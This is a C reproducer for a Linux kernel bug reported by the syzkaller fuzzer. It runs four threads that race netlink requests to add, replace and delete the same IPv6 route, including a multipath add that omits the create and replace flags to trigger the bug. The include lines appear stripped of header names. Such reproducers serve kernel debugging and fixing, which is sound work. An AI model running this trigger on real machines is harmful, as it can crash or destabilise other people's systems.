// https://syzkaller.appspot.com/bug?id=115385ab66b48e7bd1f2eb642de3c1e16b33d3b4 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #define ROUTE_DST "2001:db8:beef::" #define ROUTE_PLEN 64 #define GW1 "2001:db8:beef::2" #define GW2 "2001:db8:beef::3" #define GW3 "2001:db8:beef::4" static volatile int running = 1; static int target_ifindex = 1; struct nl_route_req { struct nlmsghdr n; struct rtmsg r; char buf[1024]; }; static void add_attr(struct nlmsghdr *nlh, int maxlen, int type, const void *data, int datalen) { int len = RTA_LENGTH(datalen); if (NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len) > maxlen) return; struct rtattr *rta = (struct rtattr *)(((char *)nlh) + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = len; memcpy(RTA_DATA(rta), data, datalen); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len); } static int open_netlink(void) { int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (fd < 0) { printf("[-] Failed to socket(AF_NETLINK): %s\n", strerror(errno)); exit(1); } return fd; } static void safe_sendto(int fd, const void *buf, size_t len, int flags, const struct sockaddr *dest_addr, socklen_t addrlen) { int res = sendto(fd, buf, len, flags, dest_addr, addrlen); if (res < 0) { /* Ignore expected errors during race */ if (errno != EEXIST && errno != ENOENT && errno != ESRCH && errno != ENETUNREACH && errno != EADDRNOTAVAIL && errno != EINVAL && errno != EBUSY && errno != ENODEV && errno != EOPNOTSUPP) { printf("[-] Failed to sendto: %s\n", strerror(errno)); exit(1); } } } /* 1. Add an IPv6 route (with NLM_F_CREATE) */ static void *thread_add_create(void *arg) { int fd = open_netlink(); struct in6_addr dst, gw; inet_pton(AF_INET6, ROUTE_DST, &dst); inet_pton(AF_INET6, GW1, &gw); struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; while (running) { struct nl_route_req req; memset(&req, 0, sizeof(req)); req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg)); req.n.nlmsg_type = RTM_NEWROUTE; req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL; req.r.rtm_family = AF_INET6; req.r.rtm_dst_len = ROUTE_PLEN; req.r.rtm_table = RT_TABLE_MAIN; req.r.rtm_protocol = RTPROT_BOOT; req.r.rtm_scope = RT_SCOPE_UNIVERSE; req.r.rtm_type = RTN_UNICAST; add_attr(&req.n, sizeof(req), RTA_DST, &dst, sizeof(dst)); add_attr(&req.n, sizeof(req), RTA_GATEWAY, &gw, sizeof(gw)); add_attr(&req.n, sizeof(req), RTA_OIF, &target_ifindex, sizeof(target_ifindex)); safe_sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); } close(fd); return NULL; } /* 2. Add a multipath IPv6 route without NLM_F_CREATE or NLM_F_REPLACE */ static void *thread_add_multipath(void *arg) { int fd = open_netlink(); struct in6_addr dst, gw1, gw2; inet_pton(AF_INET6, ROUTE_DST, &dst); inet_pton(AF_INET6, GW1, &gw1); inet_pton(AF_INET6, GW2, &gw2); struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; while (running) { struct nl_route_req req; memset(&req, 0, sizeof(req)); req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg)); req.n.nlmsg_type = RTM_NEWROUTE; /* Trigger the bug: No NLM_F_CREATE and no NLM_F_REPLACE */ req.n.nlmsg_flags = NLM_F_REQUEST; req.r.rtm_family = AF_INET6; req.r.rtm_dst_len = ROUTE_PLEN; req.r.rtm_table = RT_TABLE_MAIN; req.r.rtm_protocol = RTPROT_BOOT; req.r.rtm_scope = RT_SCOPE_UNIVERSE; req.r.rtm_type = RTN_UNICAST; add_attr(&req.n, sizeof(req), RTA_DST, &dst, sizeof(dst)); char mp_buf[512]; int mp_len = 0; /* First nexthop */ struct rtnexthop *rtnh1 = (struct rtnexthop *)(mp_buf + mp_len); int nh1_attrlen = RTA_LENGTH(sizeof(struct in6_addr)); rtnh1->rtnh_len = sizeof(struct rtnexthop) + nh1_attrlen; rtnh1->rtnh_flags = RTNH_F_ONLINK; rtnh1->rtnh_hops = 0; rtnh1->rtnh_ifindex = target_ifindex; struct rtattr *rta1 = RTNH_DATA(rtnh1); rta1->rta_type = RTA_GATEWAY; rta1->rta_len = nh1_attrlen; memcpy(RTA_DATA(rta1), &gw1, sizeof(gw1)); mp_len += RTNH_ALIGN(rtnh1->rtnh_len); /* Second nexthop */ struct rtnexthop *rtnh2 = (struct rtnexthop *)(mp_buf + mp_len); int nh2_attrlen = RTA_LENGTH(sizeof(struct in6_addr)); rtnh2->rtnh_len = sizeof(struct rtnexthop) + nh2_attrlen; rtnh2->rtnh_flags = RTNH_F_ONLINK; rtnh2->rtnh_hops = 0; rtnh2->rtnh_ifindex = target_ifindex; struct rtattr *rta2 = RTNH_DATA(rtnh2); rta2->rta_type = RTA_GATEWAY; rta2->rta_len = nh2_attrlen; memcpy(RTA_DATA(rta2), &gw2, sizeof(gw2)); mp_len += RTNH_ALIGN(rtnh2->rtnh_len); add_attr(&req.n, sizeof(req), RTA_MULTIPATH, mp_buf, mp_len); safe_sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); } close(fd); return NULL; } /* 3. Replace the IPv6 route (with NLM_F_REPLACE) */ static void *thread_replace(void *arg) { int fd = open_netlink(); struct in6_addr dst, gw; inet_pton(AF_INET6, ROUTE_DST, &dst); inet_pton(AF_INET6, GW3, &gw); struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; while (running) { struct nl_route_req req; memset(&req, 0, sizeof(req)); req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg)); req.n.nlmsg_type = RTM_NEWROUTE; req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_REPLACE; req.r.rtm_family = AF_INET6; req.r.rtm_dst_len = ROUTE_PLEN; req.r.rtm_table = RT_TABLE_MAIN; req.r.rtm_protocol = RTPROT_BOOT; req.r.rtm_scope = RT_SCOPE_UNIVERSE; req.r.rtm_type = RTN_UNICAST; add_attr(&req.n, sizeof(req), RTA_DST, &dst, sizeof(dst)); add_attr(&req.n, sizeof(req), RTA_GATEWAY, &gw, sizeof(gw)); add_attr(&req.n, sizeof(req), RTA_OIF, &target_ifindex, sizeof(target_ifindex)); safe_sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); } close(fd); return NULL; } /* 4. Delete the IPv6 route */ static void *thread_delete(void *arg) { int fd = open_netlink(); struct in6_addr dst; inet_pton(AF_INET6, ROUTE_DST, &dst); struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; while (running) { struct nl_route_req req; memset(&req, 0, sizeof(req)); req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg)); req.n.nlmsg_type = RTM_DELROUTE; req.n.nlmsg_flags = NLM_F_REQUEST; req.r.rtm_family = AF_INET6; req.r.rtm_dst_len = ROUTE_PLEN; req.r.rtm_table = RT_TABLE_MAIN; req.r.rtm_protocol = RTPROT_BOOT; req.r.rtm_scope = RT_SCOPE_UNIVERSE; req.r.rtm_type = RTN_UNICAST; add_attr(&req.n, sizeof(req), RTA_DST, &dst, sizeof(dst)); safe_sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); } close(fd); return NULL; } static int find_interface_index(void) { struct if_nameindex *if_list = if_nameindex(); int idx = 0; if (if_list) { for (int i = 0; if_list[i].if_index != 0; i++) { if (strcmp(if_list[i].if_name, "lo") != 0) { idx = if_list[i].if_index; break; } } if_freenameindex(if_list); } return idx ? idx : 1; } int main(void) { setvbuf(stdout, NULL, _IONBF, 0); printf("[+] Starting reproducer...\n"); target_ifindex = find_interface_index(); printf("[+] Using interface index: %d\n", target_ifindex); pthread_t t1, t2, t3, t4; int res; res = pthread_create(&t1, NULL, thread_add_create, NULL); if (res != 0) { printf("[-] Failed to pthread_create t1: %s\n", strerror(res)); exit(1); } printf("[+] Thread 1 created.\n"); res = pthread_create(&t2, NULL, thread_add_multipath, NULL); if (res != 0) { printf("[-] Failed to pthread_create t2: %s\n", strerror(res)); exit(1); } printf("[+] Thread 2 created.\n"); res = pthread_create(&t3, NULL, thread_replace, NULL); if (res != 0) { printf("[-] Failed to pthread_create t3: %s\n", strerror(res)); exit(1); } printf("[+] Thread 3 created.\n"); res = pthread_create(&t4, NULL, thread_delete, NULL); if (res != 0) { printf("[-] Failed to pthread_create t4: %s\n", strerror(res)); exit(1); } printf("[+] Thread 4 created.\n"); sleep(5); running = 0; pthread_join(t1, NULL); pthread_join(t2, NULL); pthread_join(t3, NULL); pthread_join(t4, NULL); printf("[+] Reproducer finished.\n"); return 0; }